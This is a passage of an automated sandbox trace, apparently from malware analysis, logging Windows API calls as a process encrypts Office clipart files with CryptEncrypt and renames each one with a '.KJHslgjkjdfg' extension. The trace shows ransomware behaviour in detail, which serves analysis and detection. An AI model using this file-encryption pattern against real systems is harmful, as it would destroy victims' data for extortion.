lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0203.983] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0203.983] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0203.983] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0203.983] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x16d3, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x16d3, lpOverlapped=0x0) returned 1 [0203.985] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x16e0, dwBufLen=0x16e0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x16e0) returned 1 [0203.986] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0203.986] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x16e0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x16e0, lpOverlapped=0x0) returned 1 [0203.986] CryptDestroyKey (hKey=0x9b6628) returned 1 [0203.986] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x17b4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0203.986] SetEndOfFile (hFile=0x130) returned 1 [0204.275] GetProcessHeap () returned 0x990000 [0204.275] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0204.275] GetProcessHeap () returned 0x990000 [0204.275] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0204.275] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\JNGLE_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\jngle_01.mid"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\JNGLE_01.MID.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\jngle_01.mid.kjhslgjkjdfg")) returned 1 [0204.279] CloseHandle (hObject=0x130) returned 1 [0204.279] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x968b8700, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x58b00bb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x968b8700, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x15f6, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="MP00021_.WMF", cAlternateFileName="")) returned 1 [0204.280] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\MP00021_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\mp00021_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0204.282] GetProcessHeap () returned 0x990000 [0204.282] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0204.282] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0204.282] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0204.282] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xa, lpOverlapped=0x0) returned 1 [0204.285] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0204.285] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0204.285] GetProcessHeap () returned 0x990000 [0204.285] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0204.285] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0204.285] CryptDestroyKey (hKey=0x9b6628) returned 1 [0204.285] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0204.286] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0204.286] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0204.286] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0204.286] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0204.286] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0204.286] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0204.286] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0204.286] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0204.286] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x15f6, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x15f6, lpOverlapped=0x0) returned 1 [0204.288] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1600, dwBufLen=0x1600 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1600) returned 1 [0204.288] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0204.288] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x1600, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x1600, lpOverlapped=0x0) returned 1 [0204.288] CryptDestroyKey (hKey=0x9b6628) returned 1 [0204.288] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x16d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0204.288] SetEndOfFile (hFile=0x130) returned 1 [0204.291] GetProcessHeap () returned 0x990000 [0204.291] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0204.291] GetProcessHeap () returned 0x990000 [0204.291] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0204.291] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\MP00021_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\mp00021_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\MP00021_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\mp00021_.wmf.kjhslgjkjdfg")) returned 1 [0204.292] CloseHandle (hObject=0x130) returned 1 [0204.292] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x19acdd00, ftCreationTime.dwHighDateTime=0x1bd4ae4, ftLastAccessTime.dwLowDateTime=0x58b00bb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x19acdd00, ftLastWriteTime.dwHighDateTime=0x1bd4ae4, nFileSizeHigh=0x0, nFileSizeLow=0x1090, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="MP00132_.WMF", cAlternateFileName="")) returned 1 [0204.293] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\MP00132_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\mp00132_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0204.293] GetProcessHeap () returned 0x990000 [0204.293] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0204.293] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0204.293] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0204.294] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0204.294] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0204.294] GetProcessHeap () returned 0x990000 [0204.294] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0204.294] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0204.294] CryptDestroyKey (hKey=0x9b6628) returned 1 [0204.294] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0204.296] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0204.296] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0204.296] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0204.296] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0204.296] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0204.296] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0204.296] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0204.297] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0204.297] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x1090, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x1090, lpOverlapped=0x0) returned 1 [0204.297] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1090, dwBufLen=0x1090 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1090) returned 1 [0204.298] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0204.298] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x1090, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x1090, lpOverlapped=0x0) returned 1 [0204.298] CryptDestroyKey (hKey=0x9b6628) returned 1 [0204.298] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1164, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0204.298] SetEndOfFile (hFile=0x130) returned 1 [0204.301] GetProcessHeap () returned 0x990000 [0204.301] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0204.301] GetProcessHeap () returned 0x990000 [0204.301] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0204.301] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\MP00132_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\mp00132_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\MP00132_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\mp00132_.wmf.kjhslgjkjdfg")) returned 1 [0204.302] CloseHandle (hObject=0x130) returned 1 [0204.302] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1b16fc00, ftCreationTime.dwHighDateTime=0x1bd4bef, ftLastAccessTime.dwLowDateTime=0x69c72af0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1b16fc00, ftLastWriteTime.dwHighDateTime=0x1bd4bef, nFileSizeHigh=0x0, nFileSizeLow=0x31e2, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="MP00646_.WMF", cAlternateFileName="")) returned 1 [0204.302] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\MP00646_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\mp00646_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0204.303] GetProcessHeap () returned 0x990000 [0204.303] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0204.303] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0204.303] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0204.303] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xe, lpOverlapped=0x0) returned 1 [0204.306] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0204.306] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0204.306] GetProcessHeap () returned 0x990000 [0204.306] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0204.306] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0204.306] CryptDestroyKey (hKey=0x9b6628) returned 1 [0204.306] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0204.306] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0204.306] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0204.306] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0204.307] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0204.307] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0204.307] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0204.307] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0204.307] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0204.307] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x31e2, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x31e2, lpOverlapped=0x0) returned 1 [0204.308] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x31f0, dwBufLen=0x31f0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x31f0) returned 1 [0204.308] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0204.308] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x31f0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x31f0, lpOverlapped=0x0) returned 1 [0204.308] CryptDestroyKey (hKey=0x9b6628) returned 1 [0204.308] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x32c4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0204.308] SetEndOfFile (hFile=0x130) returned 1 [0204.311] GetProcessHeap () returned 0x990000 [0204.311] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0204.311] GetProcessHeap () returned 0x990000 [0204.311] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0204.311] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\MP00646_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\mp00646_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\MP00646_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\mp00646_.wmf.kjhslgjkjdfg")) returned 1 [0204.313] CloseHandle (hObject=0x130) returned 1 [0204.313] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x6a3248d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x1ae0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="MUSIC_01.MID", cAlternateFileName="")) returned 1 [0204.313] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\MUSIC_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\music_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0204.314] GetProcessHeap () returned 0x990000 [0204.314] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0204.314] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0204.314] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0204.314] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0204.315] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0204.315] GetProcessHeap () returned 0x990000 [0204.315] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0204.315] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0204.315] CryptDestroyKey (hKey=0x9b6628) returned 1 [0204.315] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0204.317] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0204.317] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0204.317] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0204.317] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0204.317] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0204.318] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0204.318] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0204.318] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0204.318] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x1ae0, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x1ae0, lpOverlapped=0x0) returned 1 [0204.319] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1ae0, dwBufLen=0x1ae0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1ae0) returned 1 [0204.319] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0204.319] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x1ae0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x1ae0, lpOverlapped=0x0) returned 1 [0204.319] CryptDestroyKey (hKey=0x9b6628) returned 1 [0204.319] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1bb4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0204.319] SetEndOfFile (hFile=0x130) returned 1 [0204.322] GetProcessHeap () returned 0x990000 [0204.322] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0204.322] GetProcessHeap () returned 0x990000 [0204.322] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0204.322] MoveFileW 